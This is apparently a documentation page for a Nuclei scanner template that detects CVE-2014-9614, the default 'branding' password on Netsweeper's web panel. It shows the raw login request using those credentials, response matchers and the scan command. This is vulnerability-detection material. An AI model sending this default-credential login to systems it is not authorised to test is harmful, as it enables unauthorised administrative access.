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Netsweeper 4.0.5 - Default Weak Account

ID: CVE-2014-9614

Severity: critical

Author: daffainfo

Tags: cve2014,cve,netsweeper,default-login,packetstorm,xss

Description

Section titled “Description”

The Web Panel in Netsweeper before 4.0.5 has a default password of ‘branding’ for the branding account, which makes it easier for remote attackers to obtain access via a request to webadmin/.

YAML Source

Section titled “YAML Source”
id: CVE-2014-9614


info:
  name: Netsweeper 4.0.5 - Default Weak Account
  author: daffainfo
  severity: critical
  description: The Web Panel in Netsweeper before 4.0.5 has a default password of 'branding' for the branding account, which makes it easier for remote attackers to obtain access via a request to webadmin/.
  impact: |
    An attacker can gain unauthorized access to the Netsweeper 4.0.5 system using the default weak account.
  remediation: |
    Change the default credentials to strong and unique ones.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9614
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-9614
    cwe-id: CWE-798
    epss-score: 0.01433
    epss-percentile: 0.8655
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,netsweeper,default-login,packetstorm,xss


http:
  - raw:
      - |
        POST /webadmin/auth/verification.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/webadmin/start/


        login=branding&password=branding&Submit=Login


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Location: ../common/'
          - 'Location: ../start/'
        condition: or


      - type: word
        part: header
        words:
          - 'Set-Cookie: webadminU='


      - type: status
        status:
          - 302
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-9614.yaml"

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